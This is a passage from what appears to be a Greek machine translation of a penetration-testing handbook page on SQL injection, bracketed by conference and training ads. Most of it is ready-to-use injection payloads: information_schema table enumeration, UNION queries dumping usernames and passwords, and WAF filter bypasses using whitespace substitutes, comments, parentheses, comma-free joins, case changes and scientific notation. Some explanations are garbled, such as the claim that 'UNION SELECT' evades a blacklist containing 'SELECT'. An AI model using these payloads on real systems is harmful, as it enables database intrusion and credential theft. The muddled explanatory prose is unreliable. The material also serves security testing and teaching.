'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένας ζωντανός συναντήσεων για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.

Routed SQL injection

Η Routed SQL injection είναι μια κατάσταση όπου η ενσωματωμένη ερώτηση δεν είναι αυτή που δίνει την έξοδο, αλλά η έξοδος της ενσωματωμένης ερώτησης πηγαίνει στην ερώτηση που δίνει την έξοδο. (Από το έγγραφο)

Παράδειγμα:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Παράκαμψη

Αρχικές παρακάμψεις από εδώ

Παράκαμψη χωρίς κενά

Χωρίς κενό (%20) - παράκαμψη χρησιμοποιώντας εναλλακτικές κενού.

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Χωρίς Κενό - παράκαμψη χρησιμοποιώντας σχόλια

Η τεχνική της παράκαμψης χρησιμοποιώντας σχόλια είναι μια μέθοδος που χρησιμοποιείται για να παρακάμψει τον έλεγχο των κενών χαρακτήρων σε μια επίθεση SQL Injection. Αυτή η τεχνική επιτρέπει στον επιτιθέμενο να εισάγει κακόβουλο κώδικα SQL χωρίς να χρειάζεται να αντιμετωπίσει το πρόβλημα των κενών χαρακτήρων.

Για να χρησιμοποιήσετε αυτήν την τεχνική, απλά εισάγετε ένα σχόλιο SQL (όπως -- ή #) μετά από το τμήμα του κώδικα που θέλετε να παρακάμψετε. Το σχόλιο θα αγνοηθεί από τον SQL ερωτηματοδότη και ο κακόβουλος κώδικας που ακολουθεί θα εκτελεστεί.

Παράδειγμα:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'password'

Στο παραπάνω παράδειγμα, το σχόλιο -- παρακάμπτει τον έλεγχο του κενού χαρακτήρα μετά το 'admin' και επιτρέπει την εκτέλεση του κακόβουλου κώδικα που ακολουθεί.

?id=1/*comment*/and/**/1=1/**/--

Χωρίς Κενό - παράκαμψη χρησιμοποιώντας παρενθέσεις

Η τεχνική "χωρίς κενό" είναι μια μέθοδος παράκαμψης των φίλτρων εισόδου που χρησιμοποιούνται για την αποτροπή επιθέσεων SQL Injection. Αυτή η τεχνική εκμεταλλεύεται την ιδιότητα των παρενθέσεων στη γλώσσα SQL για να παρακάμψει τον έλεγχο των εισόδων.

Αντί να χρησιμοποιήσουμε τον χαρακτήρα κενού για να χωρίσουμε τις λέξεις στην επίθεση SQL Injection, μπορούμε να χρησιμοποιήσουμε παρενθέσεις για να περικλείσουμε τις λέξεις. Αυτό επιτρέπει στον επιτιθέμενο να παρακάμψει τον έλεγχο των εισόδων και να εκτελέσει κακόβουλο κώδικα SQL.

Παράδειγμα:

Αντί να χρησιμοποιήσουμε:

' OR '1'='1

Μπορούμε να χρησιμοποιήσουμε:

') OR ('1'='1

Αυτή η τεχνική είναι αποτελεσματική όταν ο έλεγχος των εισόδων γίνεται με τη χρήση του χαρακτήρα κενού για να χωρίσει τις λέξεις. Ωστόσο, πρέπει να ληφθεί υπόψη ότι αυτή η τεχνική μπορεί να αποτύχει εάν ο έλεγχος των εισόδων γίνεται με άλλους τρόπους.

?id=(1)and(1)=(1)--

Παράκαμψη χωρίς κόμματα

Παράκαμψη χωρίς κόμματα - παράκαμψη χρησιμοποιώντας OFFSET, FROM και JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Γενικές Παρακάμψεις

Μαύρη λίστα με λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/πεζά γράμματα

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Μαύρη λίστα με χρήση λέξεων-κλειδιών μη διάκρισης πεζών-κεφαλαίων - παράκαμψη χρησιμοποιώντας έναν ισοδύναμο τελεστή

Όταν αντιμετωπίζουμε μια μαύρη λίστα που χρησιμοποιεί λέξεις-κλειδιά για να φιλτράρει εισαγωγές SQL, μπορούμε να παρακάμψουμε τον έλεγχο χρησιμοποιώντας έναν ισοδύναμο τελεστή. Αυτό μας επιτρέπει να εκτελέσουμε εντολές SQL που θα αποκτήσουν πρόσβαση στη βάση δεδομένων, ακόμα και αν ο έλεγχος της μαύρης λίστας αποτύχει.

Για παράδειγμα, αν η μαύρη λίστα περιέχει τη λέξη-κλειδί "SELECT" και θέλουμε να εκτελέσουμε μια εντολή SELECT, μπορούμε να χρησιμοποιήσουμε τον ισοδύναμο τελεστή "UNION SELECT". Αυτό θα παρακάμψει τον έλεγχο της μαύρης λίστας και θα μας επιτρέψει να εκτελέσουμε την επιθυμητή εντολή SQL.

Παρακάτω παρουσιάζεται ένα παράδειγμα της τεχνικής αυτής:

' UNION SELECT null,username||'~'||password FROM users --

Στο παραπάνω παράδειγμα, η εντολή UNION SELECT εισάγεται μεταξύ των μονάδων μιας εντολής SQL που θα εκτελεστεί από τη βάση δεδομένων. Η εντολή αυτή επιστρέφει τα ονόματα χρηστών και τους κωδικούς πρόσβασης από τον πίνακα "users". Ο χαρακτήρας "~" χρησιμοποιείται για να διαχωρίσει τα ονόματα χρηστών και τους κωδικούς πρόσβασης.

Με αυτόν τον τρόπο, μπορούμε να παρακάμψουμε τον έλεγχο της μαύρης λίστας και να ανακτήσουμε ευαίσθητες πληροφορίες από τη βάση δεδομένων.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Επιστημονική Σημείωση Παράκαμψης WAF

Μπορείτε να βρείτε μια πιο λεπτομερή εξήγηση αυτού του κόλπου στο blog της gosecure. Βασικά, μπορείτε να χρησιμοποιήσετε την επιστημονική σημείωση με αναπάντεχους τρόπους για να παρακάμψετε το WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Παράκαμψη Περιορισμού Ονομάτων Στηλών

Καταρχήν, παρατηρήστε ότι αν η αρχική ερώτηση και ο πίνακας από τον οποίο θέλετε να εξαγάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών, μπορείτε απλά να κάνετε: 0 UNION SELECT * FROM flag

Είναι δυνατόν να έχετε πρόσβαση στην τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιείτε το όνομά της χρησιμοποιώντας μια ερώτηση όπως η παρακάτω: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, οπότε σε ένα sqlinjection αυτό θα μοιάζει με:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ή χρησιμοποιώντας ένα παράκαμψη με κόμμα:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Αυτό το κόλπο πήρε από https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Εργαλεία προτάσεων παράκαμψης WAF

Άλλοι Οδηγοί

Λίστα ανίχνευσης Brute-Force

​​​​​​​RootedCON είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή να προωθήσει την τεχνική γνώση, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated